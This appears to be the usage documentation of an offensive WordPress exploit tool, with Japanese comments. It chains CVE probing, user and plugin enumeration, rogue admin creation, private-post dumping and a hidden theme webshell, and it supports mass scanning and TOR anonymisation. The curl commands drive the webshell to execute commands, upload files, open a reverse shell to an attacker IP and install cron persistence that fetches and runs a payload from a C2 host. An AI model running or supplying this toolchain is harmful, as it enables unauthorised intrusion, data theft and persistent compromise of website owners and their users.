┌──────────┐    ┌──────────┐    ┌───────────┐    ┌───────────┐    ┌──────────┐
│ DETECTOR │ -> │ SCANNER  │ -> │ ENUMERATOR│ -> │ EXPLOIT   │ -> │ ESCALATE │
│ 10 CVEs  │    │ version/ │    │ users/    │    │ admin     │    │ webshell  │
│ probes   │    │ WAF/XMLRPC│    │ plugins   │    │ create/   │    │ rev shell │
└──────────┘    └──────────┘    └───────────┘    └───────────┘    └──────────┘

# クローン
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026

# 依存関係: Python 3.8+ 標準ライブラリのみ。
# オプション: SOCKS5/TOR プロキシ用の PySocks
pip install pysocks

# 1. 単一ターゲットの安全なスキャン（検出 + スキャナ + 列挙）
python3 wp2exp_2026.py https://target.com

# 2. 同じスキャンに加えてエクスプロイトを実行（管理者作成 + コンテンツダンプ）
python3 wp2exp_2026.py https://target.com --mode exploit

# 3. 検証済みウェブシェルまでの完全チェーン
python3 wp2exp_2026.py https://target.com --mode shell

# 4. ターゲット一覧ファイルに対するマススキャン
python3 wp2exp_2026.py -f targets.txt --threads 10

# 5. TOR 経由の匿名スキャン
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050

usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
                      [--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
                      [--timeout N] [--threads N] [--json] [-o OUTPUT]

python3 wp2exp_2026.py https://example.com
# 出力: バージョン、WAF、XMLRPC、ユーザー、プラグインバージョン、CVEごとの判定

# スキャン + 管理者作成 + Mapster 経由で 200 件の投稿IDをダンプ
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200

python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050

python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...

# コマンド実行（mini）
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'

# フルシェル — ファイルアップロード
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'

# フルシェル — リバースシェル（リスナー: nc -lvnp PORT）
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'

# フルシェル — cron 永続化（C2 から curl を sh にパイプ）
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'

# TOR経由のスキャン（9050 で tor デーモンが必要）
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5

# 出口ノードを検証
#（スクリプトの Http レイヤーは TOR 経由ルーティング時に IsTor:true を報告します）

# コンソール: 段階ごとの色付き判定 + 最終サマリーテーブル
# JSONレポートをファイルに出力（証拠として常に生のレスポンスを含む）
python3 wp2exp_2026.py https://example.com --mode shell -o report.json

# 完全なJSONをstdoutに出力して jq / 自作ツールにパイプ
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'

{
  "target": "https://example.com",
  "version": "7.0.1",
  "waf": "Cloudflare",
  "xmlrpc": true,
  "users": [{"id": 1, "name": "admin", "slug": "admin"}],
  "plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
  "core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
  "cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
  "exploitation": {
    "wp2shell_admin": {"success": true, "username": "...", "password": "..."},
    "shell": {"success": true, "shell_url": "...", "key": "..."},
    "mapster_posts": [...]
  }
}

wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45